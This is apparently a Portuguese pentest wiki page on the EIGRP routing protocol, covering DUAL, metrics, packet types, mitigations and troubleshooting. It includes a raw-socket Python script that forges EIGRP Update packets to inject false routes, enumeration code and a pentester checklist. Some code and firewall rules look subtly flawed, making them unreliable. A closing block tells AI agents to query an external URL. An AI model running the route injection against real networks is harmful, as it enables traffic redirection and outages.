# EIGRP (Enhanced Interior Gateway Routing Protocol)

### 📋 **Índice**

1. Fundamentos do EIGRP
2. Arquitetura e Componentes
3. Algoritmo DUAL
4. Métrica EIGRP
5. Tipos de Pacotes EIGRP
6. Estrutura de Pacotes
7. Segurança e Vulnerabilidades
8. Pentesting com EIGRP
9. Mitigações e Controles
10. Comparativo com Protocolos
11. Troubleshooting e Diagnóstico
12. Checklists de Segurança

***

### 🔍 **Fundamentos do EIGRP**

#### **O que é EIGRP?**

O **Enhanced Interior Gateway Routing Protocol (EIGRP)** é um protocolo de roteamento dinâmico avançado, originalmente proprietário da Cisco (padronizado como **RFC 7868** em 2016). É classificado como um protocolo de **Vetor de Distância Avançado** ou **Híbrido**, combinando a convergência rápida dos protocolos de Estado de Link com a simplicidade dos protocolos de Vetor de Distância.

#### **Características Fundamentais**

| Característica            | Descrição                               | Implicação para Segurança                      |
| ------------------------- | --------------------------------------- | ---------------------------------------------- |
| **Protocolo IP**          | Número 88                               | Tráfego nativo, sem camada de transporte       |
| **Multicast**             | 224.0.0.10                              | Fácil de sniffar e injetar                     |
| **DUAL Algorithm**        | Convergência rápida sem loops           | Estado mantido para rotas de backup            |
| **Métrica Composta**      | Banda + Atraso + Confiabilidade + Carga | Informações sensíveis sobre rede               |
| **Atualizações Parciais** | Apenas mudanças são propagadas          | Menor tráfego, mas vulnerável a injeção        |
| **Reliable Transport**    | Confirmação de pacotes (RTP)            | Mecanismo de confiabilidade pode ser explorado |

#### **Contexto Histórico**

```yaml
Evolução do EIGRP:
  1992: IGRP (precursor) lançado pela Cisco
  1994: EIGRP introduzido com algoritmo DUAL
  1999: EIGRP amplamente adotado em redes Cisco
  2013: Cisco publica informações do protocolo
  2016: RFC 7868 - EIGRP padronizado como aberto
  2020: EIGRP ainda dominante em ambientes Cisco
  2024: Suporte a EIGRPv6 e Named Mode

Motivação original:
  ✅ Convergência mais rápida que OSPF em redes Cisco
  ✅ Métrica mais precisa que RIP
  ✅ Manutenção de rotas de backup (Feasible Successor)
  ✅ Consumo reduzido de CPU e memória
```

#### **Posição no Modelo OSI**

```mermaid
graph TD
    subgraph "Camada 7 - Aplicação"
        EIGRP[EIGRP - Protocolo IP 88]
    end
    
    subgraph "Camada 4 - Transporte"
        RTP[Reliable Transport Protocol]
        RCP[Reliable Cisco Protocol]
    end
    
    subgraph "Camada 3 - Rede"
        IP[IP]
        ROTEAMENTO[Decisões de Roteamento]
    end
    
    subgraph "Camada 2 - Enlace"
        ETH[Ethernet]
    end
    
    EIGRP --> RTP
    RTP --> IP
    ROTEAMENTO --> IP
    IP --> ETH
```

***

### 🏗️ **Arquitetura e Componentes**

#### **Componentes do EIGRP**

```python
#!/usr/bin/env python3
# eigrp_architecture.py

class EIGRPComponents:
    """Componentes fundamentais do protocolo EIGRP"""
    
    # Constantes do protocolo
    PROTOCOL_NUMBER = 88
    MULTICAST_ADDRESS = "224.0.0.10"
    MULTICAST_ADDRESS_V6 = "FF02::A"
    
    # Tipos de pacotes
    PACKET_TYPES = {
        1: "Hello",
        2: "Query",
        3: "Reply",
        4: "Update",
        5: "Request",
        6: "SIA Query",
        7: "SIA Reply"
    }
    
    # Flags TLV (Type-Length-Value)
    TLV_TYPES = {
        0x0001: "EIGRP Parameters",
        0x0002: "IP Internal Routes",
        0x0003: "IP External Routes",
        0x0004: "IPv6 Internal Routes",
        0x0005: "IPv6 External Routes",
        0x0402: "Sequence"
    }
    
    # Timers padrão (segundos)
    HELLO_INTERVAL = 5
    HOLD_TIME = 15
    ACTIVE_TIMER = 180
    GRACE_PERIOD = 10
    
    # K-Values (pesos da métrica)
    DEFAULT_K_VALUES = {
        'K1': 1,   # Bandwidth
        'K2': 0,   # Load
        'K3': 1,   # Delay
        'K4': 0,   # Reliability
        'K5': 0,   # MTU (não usado)
        'K6': 0    # Extended (opcional)
    }
    
    class Neighbor:
        """Estrutura de vizinho EIGRP"""
        
        def __init__(self, router_id, ip_address, interface):
            self.router_id = router_id
            self.ip_address = ip_address
            self.interface = interface
            self.hold_time = 0
            self.srtt = 0  # Smoothed Round Trip Time
            self.rtt = 0   # Round Trip Time
            self.sequence = 0
            self.flags = []
            self.retransmissions = 0
        
        def is_adjacent(self):
            return self.hold_time > 0 and self.flags
    
    class Route:
        """Estrutura de rota EIGRP"""
        
        def __init__(self, destination, next_hop, metric, interface):
            self.destination = destination
            self.next_hop = next_hop
            self.metric = metric
            self.interface = interface
            self.feasible_distance = metric
            self.reported_distance = 0
            self.successor = True
            self.feasible_successor = None
            self.state = "PASSIVE"
        
        def is_feasible_successor(self, reported_distance):
            return reported_distance < self.feasible_distance
    
    class TopologyTable:
        """Tabela de topologia EIGRP"""
        
        def __init__(self):
            self.routes = {}
            self.neighbors = {}
        
        def add_route(self, route):
            self.routes[route.destination] = route
        
        def find_successor(self, destination):
            if destination in self.routes:
                return self.routes[destination]
            return None
```

#### **Fluxo de Estabelecimento de Adjacência**

```mermaid
sequenceDiagram
    participant R1 as Roteador A<br/>AS 100
    participant R2 as Roteador B<br/>AS 100
    
    Note over R1,R2: Fase 1: Descoberta
    R1->>R2: Hello (multicast 224.0.0.10)
    R2->>R1: Hello (multicast 224.0.0.10)
    
    Note over R1,R2: Fase 2: Troca de Parâmetros
    R1->>R2: Update (com K-values, AS)
    R2->>R2: Verificar compatibilidade
    R2->>R1: Update (com K-values, AS)
    
    Note over R1,R2: Fase 3: Estabelecimento
    R1->>R2: ACK
    R2->>R1: ACK
    
    Note over R1,R2: Estado: Adjacência Estabelecida
    R1->>R2: Hello (keep-alive)
    R2->>R1: Hello (keep-alive)
    
    Note over R1,R2: Troca de Rotas
    R1->>R2: Update (rotas)
    R2->>R1: ACK
    R2->>R1: Update (rotas)
    R1->>R2: ACK
```

#### **Implementação de Adjacência**

```python
#!/usr/bin/env python3
# eigrp_adjacency.py

import socket
import struct
import time
import threading

class EIGRPAdjacency:
    """Simulação de adjacência EIGRP"""
    
    def __init__(self, as_number, router_id, interface='eth0'):
        self.as_number = as_number
        self.router_id = router_id
        self.interface = interface
        self.neighbors = {}
        self.running = True
        self.sock = None
    
    def start(self):
        """Iniciar processo EIGRP"""
        try:
            self.sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, 88)
            self.sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
            self.sock.bind((self.interface, 0))
            
            recv_thread = threading.Thread(target=self._receive_packets)
            recv_thread.start()
            
            hello_thread = threading.Thread(target=self._send_hellos)
            hello_thread.start()
            
            print(f"🚀 EIGRP iniciado - AS {self.as_number}, Router ID {self.router_id}")
            
        except PermissionError:
            print("❌ É necessário privilégios de root")
        except Exception as e:
            print(f"❌ Erro: {e}")
    
    def _create_eigrp_packet(self, packet_type, sequence=0, ack=0):
        """Criar pacote EIGRP"""
        version = 2
        opcode = packet_type
        checksum = 0
        flags = 0
        sequence_num = sequence
        ack_num = ack
        as_num = self.as_number
        
        header = struct.pack('!BBHHIII',
            version, opcode, checksum, flags,
            sequence_num, ack_num, as_num
        )
        
        return header
    
    def _send_hellos(self):
        """Enviar pacotes Hello periódicos"""
        while self.running:
            eigrp_packet = self._create_eigrp_packet(1)  # Hello
            
            tlv = struct.pack('!HH', 0x0001, 12)
            tlv += struct.pack('!BBBB', 0x01, 0x00, 0x00, 0x00)
            tlv += struct.pack('!BBBB', 1, 0, 1, 0)
            tlv += struct.pack('!BB', 0, 0)
            
            packet = eigrp_packet + tlv
            
            # Em produção, adicionar cabeçalho IP
            self.sock.sendto(packet, ("224.0.0.10", 0))
            
            time.sleep(5)
    
    def _receive_packets(self):
        """Receber e processar pacotes EIGRP"""
        while self.running:
            try:
                self.sock.settimeout(1)
                data, addr = self.sock.recvfrom(4096)
                
                ip_header_len = (data[0] & 0x0F) * 4
                eigrp_data = data[ip_header_len:]
                
                if len(eigrp_data) >= 20:
                    version, opcode, checksum, flags, seq, ack, as_num = \
                        struct.unpack('!BBHHIII', eigrp_data[:20])
                    
                    if as_num == self.as_number:
                        print(f"📡 Pacote EIGRP de {addr[0]}: Tipo {opcode}")
                        
            except socket.timeout:
                continue
            except Exception as e:
                print(f"Erro: {e}")
    
    def stop(self):
        self.running = False
        if self.sock:
            self.sock.close()
```

***

### 🔢 **Algoritmo DUAL**

#### **Princípios do DUAL**

```mermaid
graph TD
    subgraph "Algoritmo DUAL"
        A[Detecção de Falha] --> B{Rota ainda existe?}
        B -->|Sim| C[Usar Sucessor Atual]
        B -->|Não| D{Existe Sucessor Viável?}
        D -->|Sim| E[Promover Sucessor Viável]
        D -->|Não| F[Iniciar Query para vizinhos]
        F --> G[Aguardar Respostas]
        G --> H{Respostas recebidas?}
        H -->|Sim| I[Calcular nova rota]
        H -->|Timeout| J[Declarar rota como inativa]
        I --> C
        J --> K[Remover rota da tabela]
    end
```

#### **Implementação do Algoritmo DUAL**

```python
#!/usr/bin/env python3
# dual_algorithm.py

class DUALAlgorithm:
    """Implementação simplificada do algoritmo DUAL"""
    
    class RouteInfo:
        def __init__(self, destination, distance, next_hop):
            self.destination = destination
            self.distance = distance
            self.next_hop = next_hop
            self.reported_distance = None
            self.successor = False
            self.feasible_successors = []
            self.state = "PASSIVE"
            self.query_count = 0
    
    def __init__(self, router_id):
        self.router_id = router_id
        self.topology = {}
        self.neighbors = set()
        self.pending_queries = {}
    
    def add_route(self, destination, distance, next_hop):
        """Adicionar rota à topologia"""
        route = self.RouteInfo(destination, distance, next_hop)
        route.successor = True
        self.topology[destination] = route
        print(f"➕ Rota adicionada: {destination} via {next_hop} (distância {distance})")
    
    def add_neighbor(self, neighbor_ip):
        """Adicionar vizinho"""
        self.neighbors.add(neighbor_ip)
        print(f"🤝 Vizinho adicionado: {neighbor_ip}")
    
    def _process_update(self, neighbor, route_info):
        """Processar atualização de rota de vizinho"""
        dest = route_info['destination']
        reported_dist = route_info['distance']
        
        if dest not in self.topology:
            new_dist = reported_dist + 1
            self.topology[dest] = self.RouteInfo(dest, new_dist, neighbor)
            self.topology[dest].reported_distance = reported_dist
            self.topology[dest].successor = True
            print(f"🔄 Nova rota para {dest}: {new_dist} via {neighbor}")
            
        else:
            current = self.topology[dest]
            new_dist = reported_dist + 1
            
            if reported_dist < current.distance:
                current.distance = new_dist
                current.next_hop = neighbor
                current.reported_distance = reported_dist
                print(f"🔄 Rota melhor para {dest}: {neighbor} ({new_dist})")
    
    def link_failure(self, neighbor):
        """Processar falha de link"""
        print(f"💥 Falha no link com {neighbor}")
        
        if neighbor in self.neighbors:
            self.neighbors.remove(neighbor)
        
        routes_to_fix = [dest for dest, route in self.topology.items() 
                        if route.next_hop == neighbor]
        
        for dest in routes_to_fix:
            self._handle_route_loss(dest, neighbor)
    
    def _handle_route_loss(self, destination, failed_neighbor):
        """Processar perda de rota"""
        route = self.topology[destination]
        
        if route.feasible_successors:
            best_fs = min(route.feasible_successors, key=lambda x: x['distance'])
            route.next_hop = best_fs['next_hop']
            route.distance = best_fs['distance']
            route.feasible_successors.remove(best_fs)
            print(f"✅ Rota recuperada para {destination}: via {route.next_hop}")
        else:
            print(f"⚠️ Rota {destination} entrando em estado ACTIVE")
            route.state = "ACTIVE"
            self._send_queries(destination, route)
    
    def _send_queries(self, destination, route):
        """Enviar queries para vizinhos"""
        self.pending_queries[destination] = list(self.neighbors)
        route.query_count = len(self.neighbors)
        print(f"🔍 Enviando queries para {destination}")
    
    def print_topology(self):
        """Exibir tabela de topologia"""
        print(f"\n📊 Tabela de Topologia - {self.router_id}")
        print("=" * 70)
        print(f"{'Destino':<20} {'Próximo Salto':<15} {'Distância':<10} {'Estado':<10}")
        print("-" * 70)
        
        for dest, route in self.topology.items():
            state = "ACTIVE" if route.state == "ACTIVE" else "PASSIVE"
            print(f"{dest:<20} {route.next_hop:<15} {route.distance:<10} {state:<10}")
        
        print("=" * 70)

# Demonstração
dual = DUALAlgorithm("Router_A")
dual.add_route("10.1.0.0/24", 1000, "192.168.1.1")
dual.add_neighbor("192.168.1.1")
dual.add_neighbor("192.168.1.2")
dual._process_update("192.168.1.2", {'destination': "10.1.0.0/24", 'distance': 800})
dual.print_topology()
dual.link_failure("192.168.1.1")
dual.print_topology()
```

***

### 📊 **Métrica EIGRP**

#### **Fórmula da Métrica**

```python
#!/usr/bin/env python3
# eigrp_metric.py

import math

class EIGRPMetric:
    """Cálculo e análise da métrica EIGRP"""
    
    DEFAULT_K_VALUES = {'K1': 1, 'K2': 0, 'K3': 1, 'K4': 0, 'K5': 0, 'K6': 0}
    BANDWIDTH_SCALE = 10**7
    DELAY_SCALE = 10**6
    
    @staticmethod
    def calculate_metric(bandwidth_kbps, delay_usec, k_values=None):
        """Calcular métrica EIGRP"""
        if k_values is None:
            k_values = EIGRPMetric.DEFAULT_K_VALUES.copy()
        
        bandwidth = EIGRPMetric.BANDWIDTH_SCALE / bandwidth_kbps
        delay = delay_usec / 10
        
        metric = (k_values['K1'] * bandwidth + 
                  ((k_values['K2'] * bandwidth) / (256 - 1)) +
                  (k_values['K3'] * delay))
        
        if k_values['K4'] != 0:
            metric = metric * (k_values['K5'] / (255 + k_values['K4']))
        
        return int(metric)
    
    @staticmethod
    def calculate_from_interface(bandwidth_mbps, delay_usec):
        bandwidth_kbps = bandwidth_mbps * 1000
        return EIGRPMetric.calculate_metric(bandwidth_kbps, delay_usec)
    
    @staticmethod
    def analyze_path(path):
        """Analisar métrica de um caminho"""
        total_bandwidth = min(hop['bandwidth'] for hop in path)
        total_delay = sum(hop['delay'] for hop in path)
        metric = EIGRPMetric.calculate_metric(total_bandwidth, total_delay)
        
        print(f"📊 Análise de Caminho EIGRP")
        print(f"   Banda Mínima: {total_bandwidth} Kbps")
        print(f"   Atraso Total: {total_delay} μs")
        print(f"   Métrica: {metric}")
        
        return metric

# Valores de referência
INTERFACE_VALUES = {
    "Ethernet": {"bandwidth": 10000, "delay": 1000},
    "FastEthernet": {"bandwidth": 100000, "delay": 100},
    "GigabitEthernet": {"bandwidth": 1000000, "delay": 10},
    "T1": {"bandwidth": 1544, "delay": 20000},
}

for iface, values in INTERFACE_VALUES.items():
    metric = EIGRPMetric.calculate_from_interface(
        values['bandwidth'] / 1000, values['delay']
    )
    print(f"{iface:20} → {metric:12,}")
```

#### **Comparativo de Métricas**

```python
# metric_comparison.py

class MetricComparison:
    @staticmethod
    def rip_metric(hops):
        return min(hops, 15)
    
    @staticmethod
    def eigrp_metric(bandwidth_kbps, delay_usec):
        return EIGRPMetric.calculate_metric(bandwidth_kbps, delay_usec)
    
    @staticmethod
    def ospf_cost(bandwidth_mbps):
        return max(1, int(100 / bandwidth_mbps))
    
    @staticmethod
    def compare_paths():
        paths = [
            ("Path A (3xGigE)", 3, 1000000, 10),
            ("Path B (2xFastE)", 2, 100000, 100),
            ("Path C (T1)", 1, 1544, 20000),
        ]
        
        print("📊 Comparação de Métricas")
        print("=" * 70)
        print(f"{'Caminho':<20} {'RIP':<8} {'EIGRP':<15} {'OSPF':<8}")
        print("-" * 70)
        
        for name, hops, bw, delay in paths:
            rip = MetricComparison.rip_metric(hops)
            eigrp = MetricComparison.eigrp_metric(bw, delay)
            ospf = MetricComparison.ospf_cost(bw / 1000)
            print(f"{name:<20} {rip:<8} {eigrp:<15,} {ospf:<8}")

MetricComparison.compare_paths()
```

***

### 📦 **Tipos de Pacotes EIGRP**

| Tipo          | Código | Descrição                 | Uso                       |
| ------------- | ------ | ------------------------- | ------------------------- |
| **Hello**     | 1      | Descoberta de vizinhos    | Periódico (5s)            |
| **Query**     | 2      | Solicitação de rota       | Quando rota perdida       |
| **Reply**     | 3      | Resposta a query          | Resposta a queries        |
| **Update**    | 4      | Propagação de rotas       | Inicial e mudanças        |
| **Request**   | 5      | Solicitação de informação | Raro                      |
| **SIA Query** | 6      | Stay Alive Query          | Verificar vizinhos ativos |
| **SIA Reply** | 7      | Stay Alive Reply          | Resposta a SIA Query      |

#### **Flags de Pacote**

```python
EIGRP_FLAGS = {
    0x01: "INIT",      # Inicialização de adjacência
    0x02: "CR",        # Conditional Receive
    0x04: "RS",        # Restart
    0x08: "EOT",       # End of Table
    0x10: "SIA"        # Stay Alive
}

def decode_flags(flags_value):
    return [name for value, name in EIGRP_FLAGS.items() if flags_value & value]
```

***

### 🔒 **Segurança e Vulnerabilidades**

#### **Ameaças ao Protocolo EIGRP**

```mermaid
graph TD
    A[Ameaças EIGRP] --> B[Injeção de Rotas]
    A --> C[DoS Attacks]
    A --> D[Man-in-the-Middle]
    A --> E[Route Poisoning]
    
    B --> B1[Redirecionamento de tráfego]
    C --> C1[Hello Flood]
    D --> D1[Sniffing de rotas]
    E --> E1[Anúncio de métricas falsas]
```

#### **Ataque: Injeção de Rotas EIGRP**

```python
#!/usr/bin/env python3
# eigrp_injection.py

import socket
import struct

class EIGRPInjection:
    def __init__(self, as_number):
        self.as_number = as_number
    
    def create_ip_header(self, dest_ip, ttl=1):
        src_ip = "192.168.1.100"
        version_ihl = 0x45
        total_length = 20 + 20 + 28
        protocol_byte = 88
        
        header = struct.pack('!BBHHHBBH',
            version_ihl, 0, total_length, 0, 0, ttl, protocol_byte, 0
        )
        header += socket.inet_aton(src_ip)
        header += socket.inet_aton(dest_ip)
        return header
    
    def create_eigrp_packet(self, network, netmask, metric):
        version, opcode = 2, 4
        header = struct.pack('!BBHHIII', version, opcode, 0, 0x01, 0, 0, self.as_number)
        
        tlv_type, tlv_len = 0x0002, 28
        route_data = struct.pack('!IIIIIIBB', 0, 100, 1000000, 1500, 1, 255, 1, 0)
        
        network_int = self._ip_to_int(network)
        netmask_int = self._ip_to_int(netmask)
        
        tlv = struct.pack('!HH', tlv_type, tlv_len) + route_data
        tlv += struct.pack('!II', network_int, netmask_int)
        
        return header + tlv
    
    def _ip_to_int(self, ip):
        parts = ip.split('.')
        return (int(parts[0]) << 24) | (int(parts[1]) << 16) | \
               (int(parts[2]) << 8) | int(parts[3])
    
    def inject_route(self, network, netmask):
        eigrp_packet = self.create_eigrp_packet(network, netmask, 100)
        ip_header = self.create_ip_header("224.0.0.10")
        packet = ip_header + eigrp_packet
        
        sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, 88)
        sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
        sock.sendto(packet, ("224.0.0.10", 0))
        print(f"🚨 Injetando rota falsa: {network}/{netmask}")
```

***

### 🎯 **Pentesting com EIGRP**

#### **Descoberta de Rede EIGRP**

```bash
# Capturar tráfego EIGRP
tcpdump -i any proto 88 -n -vv

# Escaneamento
nmap -sU -p 88 --script broadcast-eigrp-discovery 192.168.1.0/24

# Usando Scapy
python3 -c "
from scapy.all import *
pkt = IP(dst='224.0.0.10')/EIGRP()
srp1(pkt, timeout=2, verbose=True)
"
```

#### **Enumeração EIGRP**

```python
#!/usr/bin/env python3
# eigrp_enumeration.py

import socket
import struct
import time

class EIGRPEnumeration:
    def __init__(self, interface='eth0', timeout=30):
        self.interface = interface
        self.timeout = timeout
        self.routers = {}
    
    def enumerate(self):
        sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
        sock.bind((self.interface, 0))
        sock.settimeout(self.timeout)
        
        start_time = time.time()
        while time.time() - start_time < self.timeout:
            try:
                data, addr = sock.recvfrom(65535)
                self._analyze_packet(data)
            except socket.timeout:
                break
        
        sock.close()
        self._print_results()
    
    def _analyze_packet(self, data):
        eth_type = struct.unpack('!H', data[12:14])[0]
        if eth_type != 0x0800:
            return
        
        ip_header = data[14:34]
        protocol = ip_header[9]
        if protocol != 88:
            return
        
        src_ip = socket.inet_ntoa(ip_header[12:16])
        
        ip_len = (ip_header[0] & 0x0F) * 4
        eigrp_data = data[14 + ip_len:14 + ip_len + 20]
        
        if len(eigrp_data) >= 20:
            version, opcode, checksum, flags, seq, ack, as_num = \
                struct.unpack('!BBHHIII', eigrp_data[:20])
            
            if src_ip not in self.routers:
                self.routers[src_ip] = {'as': as_num, 'packets': set()}
            self.routers[src_ip]['packets'].add(opcode)
    
    def _print_results(self):
        print("\n📡 Roteadores EIGRP encontrados:")
        for router, info in self.routers.items():
            print(f"  {router}: AS{info['as']}")
```

***

### 🛡️ **Mitigações e Controles**

#### **Configuração Segura EIGRP (Cisco)**

```bash
! Autenticação MD5
key chain EIGRP-KEY
 key 1
  key-string SECURE_PASSWORD_123
!
router eigrp 100
 network 192.168.1.0
 authentication mode md5
 authentication key-chain EIGRP-KEY
 !
 passive-interface default
 no passive-interface GigabitEthernet0/1
 !
 distribute-list 1 in
 distribute-list 1 out
!
access-list 1 permit 192.168.0.0 0.0.255.255
access-list 1 deny any

! Limitar hellos
interface GigabitEthernet0/1
 ip hello-interval eigrp 100 10
 ip hold-time eigrp 100 30
```

#### **Firewall Rules**

```bash
iptables -A INPUT -p 88 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -p 88 -j DROP
iptables -A INPUT -p 88 -m limit --limit 10/minute -j ACCEPT
iptables -A INPUT -p 88 -j DROP
```

***

### 📊 **Comparativo com Protocolos**

| Característica     | EIGRP                    | OSPF          | RIP             |
| ------------------ | ------------------------ | ------------- | --------------- |
| **Tipo**           | Vetor Distância Avançado | Link State    | Vetor Distância |
| **Métrica**        | Banda + Atraso           | Custo (banda) | Saltos          |
| **Convergência**   | Muito rápida             | Rápida        | Lenta           |
| **Escalabilidade** | Média                    | Alta          | Baixa           |
| **Consumo CPU**    | Médio                    | Alto          | Baixo           |
| **Protocolo**      | IP 88                    | IP 89         | UDP 520         |
| **Autenticação**   | MD5/SHA                  | MD5/SHA       | MD5 (RIPv2)     |
| **Multicast**      | 224.0.0.10               | 224.0.0.5/6   | 224.0.0.9       |
| **Vendor**         | Cisco (aberto)           | Multi-vendor  | Multi-vendor    |

***

### 🔧 **Troubleshooting e Diagnóstico**

#### **Comandos de Diagnóstico**

```bash
# Cisco IOS
show ip eigrp neighbors
show ip eigrp topology
show ip eigrp traffic
show ip route eigrp
debug eigrp packets

# FRRouting
vtysh -c "show ip eigrp neighbors"
vtysh -c "show ip eigrp topology"

# Linux
tcpdump -i any proto 88 -n -vv
```

#### **Script de Diagnóstico**

```python
#!/usr/bin/env python3
# eigrp_diagnostics.py

import subprocess

class EIGRPDiagnostics:
    def run_diagnostics(self):
        print("🔧 Diagnóstico EIGRP")
        print("=" * 60)
        
        # Verificar processos
        result = subprocess.run(['ps', 'aux'], capture_output=True, text=True)
        eigrp_procs = [l for l in result.stdout.split('\n') if 'eigrp' in l.lower() and 'grep' not in l]
        print(f"📋 Processos EIGRP: {len(eigrp_procs)}")
        
        # Verificar tráfego
        result = subprocess.run(['timeout', '5', 'tcpdump', '-i', 'any', 'proto', '88', '-c', '5'],
                               capture_output=True, text=True)
        if result.stdout:
            print("📡 Tráfego EIGRP detectado")
        else:
            print("⚠️ Nenhum tráfego EIGRP detectado")

diag = EIGRPDiagnostics()
diag.run_diagnostics()
```

***

### 📋 **Checklists de Segurança**

#### **Checklist para Administradores**

* [ ] Habilitar autenticação MD5 ou SHA
* [ ] Usar senhas fortes (mínimo 16 caracteres)
* [ ] Implementar passive interfaces
* [ ] Configurar filtros de distribuição
* [ ] Limitar anúncios às redes necessárias
* [ ] Configurar timers adequados
* [ ] Monitorar adjacências

#### **Checklist para Pentesters**

* [ ] Escanear protocolo IP 88
* [ ] Capturar tráfego multicast (224.0.0.10)
* [ ] Identificar AS numbers
* [ ] Testar ausência de autenticação
* [ ] Tentar injeção de rotas

***

### 📈 **Conclusão e Referências**

#### **Resumo Técnico**

```yaml
EIGRP é um protocolo avançado:
  
  ✅ Pontos Fortes:
    - Convergência extremamente rápida
    - Métrica precisa e ajustável
    - Baixo consumo de recursos
    - Suporte a rotas de backup
  
  ❌ Pontos Fracos:
    - Originalmente proprietário Cisco
    - Vulnerável a injeção de rotas sem autenticação
    - Suporte limitado em equipamentos não-Cisco
  
  🎯 Quando usar:
    - Redes Cisco puras
    - Ambientes que exigem convergência rápida
    - Redes de médio porte
```

#### **Referências**

* **RFC 7868** - Cisco's Enhanced Interior Gateway Routing Protocol (EIGRP)
* **Cisco Documentation** - EIGRP Configuration Guide
* **NIST SP 800-77** - Guide to IPsec VPNs


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/conceitos/redes/protocolos-de-roteamento/eigrp-enhanced-interior-gateway-routing-protocol.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
